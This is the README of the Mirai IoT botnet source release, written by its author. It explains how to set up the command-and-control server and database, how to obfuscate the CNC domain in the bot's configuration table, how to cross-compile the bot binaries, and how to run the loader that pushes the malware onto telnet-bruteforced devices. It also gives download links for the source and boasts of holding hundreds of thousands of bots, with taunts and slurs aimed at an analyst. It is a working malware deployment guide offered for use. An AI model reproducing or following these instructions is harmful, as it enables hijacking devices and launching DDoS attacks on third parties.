# Preface
Greetz everybody,
When I first go in DDoS industry, I wasn't planning on staying in it long. I
made my money, there's lots of eyes looking at IOT now, so it's time to GTFO.
However, I know every skid and their mama, it's their wet dream to have
something besides qbot.
So today, I have an amazing release for you. With Mirai, I usually pull max 380k
bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting
down and cleaning up their act. Today, max pull is about 300k bots, and
dropping.
So, I am your senpai, and I will treat you real nice, my hf-chan.
And to everyone that thought they were doing anything by hitting my CNC, I had
good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to
reconnect, lol

<- backup in case low quality reverse engineer unixfreaxjp decides to edit his
posts lol
Had a lot of respect for you, thought you were good reverser, but you
really just completely and totally failed in reversing this binary. "We still
have better kung fu than you kiddos" don't make me laugh please, you made so
many mistakes and even confused some different binaries with my. LOL
Let me give you some slaps back -
1. port `48101` is not for back connect, it is for control to prevent multiple
instances of bot running together
2. `/dev/watchdog` and `/dev/misc` are not for "making the delay", it for
preventing system from hanging. This one is low-hanging fruit, so sad that
you are extremely dumb
3. You failed and thought `FAKE_CNC_ADDR` and `FAKE_CNC_PORT` was real CNC, lol
"And doing the backdoor to connect via HTTP on 65.222.202.53". you got
tripped up by signal flow ;) try harder skiddo
4. Your skeleton tool sucks ass, it thought the attack decoder was "sinden
style", but it does not even use a text-based protocol? CNC and bot
communicate over binary protocol
5. you say 'chroot("/") so predictable like torlus' but you don't understand,
some others kill based on cwd. It shows how out-of-the-loop you are with real
malware. Go back to skidland
5 slaps for you
Why are you writing reverse engineer tools? You cannot even correctly reverse in
the first place. Please learn some skills first before trying to impress others.
Your arrogance in declaring how you "beat me" with your dumb kung-fu statement
made me laugh so hard while eating my SO had to pat me on the back.
Just as I forever be free, you will be doomed to mediocracy forever.
# Requirements
### Bare Minimum
2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading
### Pro Setup (my setup)
2 VPS and 4 servers
* 1 VPS with extremely bulletproof host for database server
* 1 VPS, rootkitted, for scanReceiver and distributor
* 1 server for CNC (used like 2% CPU with 400k bots)
* 3x 10gbps NForce servers for loading (distributor distributes to 3 servers
equally)
# Infrastructure Overview
* To establish connection to CNC, bots resolve a domain
([`resolv.c`](mirai/bot/resolv.c)/[`resolv.h`](mirai/bot/resolv.h)) and
connect to that IP address
* Bots brute telnet using an advanced SYN scanner that is around 80x faster than
the one in qbot, and uses almost 20x less resources. When finding bruted
result, bot resolves another domain and reports it. This is chained to a
separate server to automatically load onto devices as results come in.
* Bruted results are sent by default on port 48101. The utility called
scanListen.go in tools is used to receive bruted results (I was getting around
500 bruted results per second at peak). If you build in debug mode, you should
see the utitlity scanListen binary appear in debug folder.
Mirai uses a spreading mechanism similar to self-rep, but what I call
"real-time-load". Basically, bots brute results, send it to a server listening
with `scanListen` utility, which sends the results to the loader. This loop
(`brute -> scanListen -> load -> brute`) is known as real time loading.
The loader can be configured to use multiple IP address to bypass port
exhaustion in linux (there are limited number of ports available, which means
that there is not enough variation in tuple to get more than 65k simultaneous
outbound connections - in theory, this value lot less). I would have maybe 60k -
70k simultaneous outbound connections (simultaneous loading) spread out across 5
IPs.
# Configuring Bot
Bot has several configuration options that are obfuscated in `table.c/table.h`.
In [`./mirai/bot/table.h`](mirai/bot/table.h) you can find most descriptions for
configuration options. However, in [`./mirai/bot/table.c`](mirai/bot/table.c)
there are a few options you *need* to change to get working.
* `TABLE_CNC_DOMAIN` - Domain name of CNC to connect to - DDoS avoidance very
fun with mirai, people try to hit my CNC but I update it faster than they can
find new IPs, lol. Retards :)
* `TABLE_CNC_PORT` - Port to connect to, its set to 23 already
* `TABLE_SCAN_CB_DOMAIN` - When finding bruted results, this domain it is
reported to
* `TABLE_SCAN_CB_PORT` - Port to connect to for bruted results, it is set to
`48101` already.
In [`./mirai/tools`](mirai/tools) you will find something called enc.c - You
must compile this to output things to put in the table.c file
Run this inside mirai directory
./build.sh debug telnet
You will get some errors related to cross-compilers not being there if you have
not configured them. This is ok, won't affect compiling the enc tool
Now, in the `./mirai/debug` folder you should see a compiled binary called enc.
For example, to get obfuscated string for domain name for bots to connect to,
use this:
./debug/enc string fuck.the.police.com
The output should look like this
XOR'ing 20 bytes of data...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
To update the `TABLE_CNC_DOMAIN` value for example, replace that long hex string
with the one provided by enc tool. Also, you see `XOR'ing 20 bytes of data`.
This value must replace the last argument tas well. So for example, the table.c
line originally looks like this
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
Now that we know value from enc tool, we update it like this
add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22", 20); // fuck.the.police.com
Some values are strings, some are port (uint16 in network order / big endian).
# Configuring CNC
apt-get install mysql-server mysql-client
CNC requires database to work. When you install database, go into it and run
following commands: http://pastebin.com/86d0iL9g (ref:
[`db.sql`](scripts/db.sql))
This will create database for you. To add your user,
INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');
Now, go into file [`./mirai/cnc/main.go`](mirai/cnc/main.go)
Edit these values
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
To the information for the mysql server you just installed
# Setting Up Cross Compilers
Cross compilers are easy, follow the instructions at this link to set up. You
must restart your system or reload .bashrc file for these changes to take
effect.

# Building CNC+Bot
The CNC, bot, and related tools:
1. http://santasbigcandycane.cx/mirai.src.zip - *THESE LINKS WILL NOT LAST
FOREVER, 2 WEEKS MAX - BACK IT UP!*<br>

2. http://santasbigcandycane.cx/loader.src.zip - *THESE LINKS WILL NOT LAST
FOREVER, 2 WEEKS MAX - BACK IT UP!*
### How to build bot + CNC
In mirai folder, there is [`build.sh`](mirai/build.sh) script.
./build.sh debug telnet
Will output debug binaries of bot that will not daemonize and print out info
about if it can connect to CNC, etc, status of floods, etc. Compiles to
`./mirai/debug` folder
./build.sh release telnet
Will output production-ready binaries of bot that are extremely stripped, small
(about 60K) that should be loaded onto devices. Compiles all binaries in format:
`mirai.$ARCH` to `./mirai/release` folder
# Building Echo Loader
Loader reads telnet entries from STDIN in following format:
ip:port user:pass
It detects if there is wget or tftp, and tries to download the binary using
that. If not, it will echoload a tiny binary (about 1kb) that will suffice as
wget.
./build.sh
Will build the loader, optimized, production use, no fuss. If you have a file in
formats used for loading, you can do this
cat file.txt | ./loader
Remember to `ulimit`!
Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit,
too much time. All scripts and everything are included to set up working botnet
in under 1 hours. I am willing to help if you have individual questions (how
come CNC not connecting to database, I did this this this blah blah), but not
questions like "My bot not connect, fix it"
